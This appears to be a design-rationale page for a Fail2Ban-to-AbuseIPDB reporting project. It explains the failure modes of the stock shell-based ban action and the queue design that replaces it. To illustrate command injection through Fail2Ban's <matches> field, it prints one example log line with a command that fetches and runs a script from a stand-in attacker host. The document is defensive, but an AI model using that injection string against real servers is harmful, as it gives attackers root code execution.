Repository navigation
01 Why This Exists
The stock AbuseIPDB + Fail2Ban recipe is a shell command inside the ban action. It works until production traffic arrives. This page describes what breaks, with numbers from a real host, and the design rules that follow.
The official integration looks like this:
actionban = lgm=$(printf '%%.1000s\n...' "<matches>"); \
curl -sSf "https://api.abuseipdb.com/api/v2/report" \
-H "Accept: application/json" -H "Key: <abuseipdb_apikey>" \
--data-urlencode "comment=$lgm" \
--data-urlencode "ip=<ip>" \
--data "categories=<abuseipdb_category>"Three systems are now coupled to one event:
- fail2ban decides that an IP must be banned;
- the firewall applies the ban;
- a remote HTTP API is called synchronously by a root shell process.
If step 3 is slow, steps 1–2 pay for it. If step 3 fails, the action fails. Fail2Ban treats a failing action as an error, and the operator gets log noise or missing bans while the API is unreachable.
| Reality | Stock action | Consequence |
|---|---|---|
| AbuseIPDB is slow or returns 5xx |
curl runs inside actionban
|
the ban action blocks/fails; repeated failures pollute fail2ban.log
|
| Same IP is banned again within 15 minutes | a second report is attempted | HTTP 429 in the ban path — again, a failing action |
| fail2ban restarts with a persistent DB | restored bans are pushed through the action again | duplicate reports, more 429s, wasted quota |
| A scanner burst bans dozens of IPs in a minute | one HTTP call per ban, sequentially | API latency accumulates in the ban path; the kernel ban is delayed by the last call |
| Daily API quota (1000 on the free plan) is exhausted | every subsequent ban reports 429
|
every ban action is now "failing" |
| The matched log line contains a URL |
<matches> is interpolated into a shell command |
command injection in a root context; see below |
| You want to know what was reported | no local journal | you have to guess from API quotas and logs |
Fail2Ban stores the log line that matched a filter. For web filters that line contains the request target — text chosen by the attacker:
198.51.100.7 - - [..] "GET /?x=$(curl -s http://attacker.example/p | sh) HTTP/1.1" 404 ...
With <matches> placed into actionban and executed by a shell, this is not a hypothetical bug: it is remote code execution as root, gated only by whether the filter matches and the ban fires. The stock action even wraps the value in printf — shell evaluation happens before printf runs.
The current abuseipdb.conf shipped by Fail2Ban attempts no escaping; this is a known weakness of the pattern, not of Fail2Ban itself.
Four rules drive the design:
- The ban path never talks to the network. The extra action writes one row into a local SQLite queue (measured: ~0.1 s) and returns. The firewall ban is applied by the ordinary action before/independently of it.
-
Reports are built from fail2ban's own evidence. Fail2Ban stores the matched log lines in its database (
bips.data, fieldmatches). The worker reads them read-only; no log scraping, no shell, no interpolation. Only<ip>,<name>,<bantime>and<failures>are passed to the queue helper — all values generated by fail2ban itself. - Rate limits are respected by design. One report per IP per 20 minutes, 900 reports/day, 25 per run. A 429 is a normal state: the event stays queued and is retried later.
-
The key is not part of the configuration. It lives in
/etc/abuseipdb/.abuseipdb.key(mode 600), is excluded from git and from release archives, and is preserved by re-installs and self-updates.
A public web host (25 sites, Python 3, fail2ban 1.1.0) over ~3.5 days:
| Signal | Volume | Notes |
|---|---|---|
SSH Failed password / Invalid user
|
8,070 / 3,581 events from 507 unique IPs | top source: 261 attempts from one IP |
| Web requests matching attack signatures | 42,756 of 96,245 requests (44%) |
/.env, /.git, /.ssh, traversal, WordPress, Grafana/Langflow probes |
Primary script unknown PHP shell probes |
6,176 | non-existent .php names |
| SMTP AUTH failures | 6,750 in one day | dominated by one IP (855) |
| FTP failed logins | 3,995 in one day | two IPs (3,720 + 273) |
| Result after queueing | 12 reports/day, queue empty, no errors | ban path unaffected |
Honesty corner — what these numbers are and are not
- They describe one busy host; your mileage will differ with exposure and traffic.
- "Attack signature" counts include 200/301 responses from catch-all sites — the request is malicious, the response is irrelevant.
- AbuseIPDB reports per day are capped by our own budget (900) and by the number of unique IPs that actually get banned; most scanner IPs never reach
maxretry. - The queue is not a SIEM: it stores bans, not raw traffic.
- Not a firewall. The project does not change how fail2ban bans; it adds one queue action.
- Not an IDS. It does not decide who is abusive; fail2ban filters do.
- Not automatic blocking based on AbuseIPDB scores. No score-driven firewall changes — a compromised third-party database must never be able to lock out your users.
-
Not a background auto-updater.
abuseipdb-upgrade --upgradeis explicit; the optional timer only checks availability. - Not a log archive. Queue retention is configurable and defaults to 30 days; it stores ban metadata, not request bodies or mail.
- Reporting abuse is not allowed by your policy or your provider.
- You have no public server and no abuse traffic (nothing to report).
- You want one-shot reporting from a laptop: the stock action is simpler; this project is built for long-running hosts with sustained attack noise.
Next: Getting Started · Architecture · Fail2Ban Fundamentals
Fail2Ban_AbuseIPDB · repository · releases · issues · MIT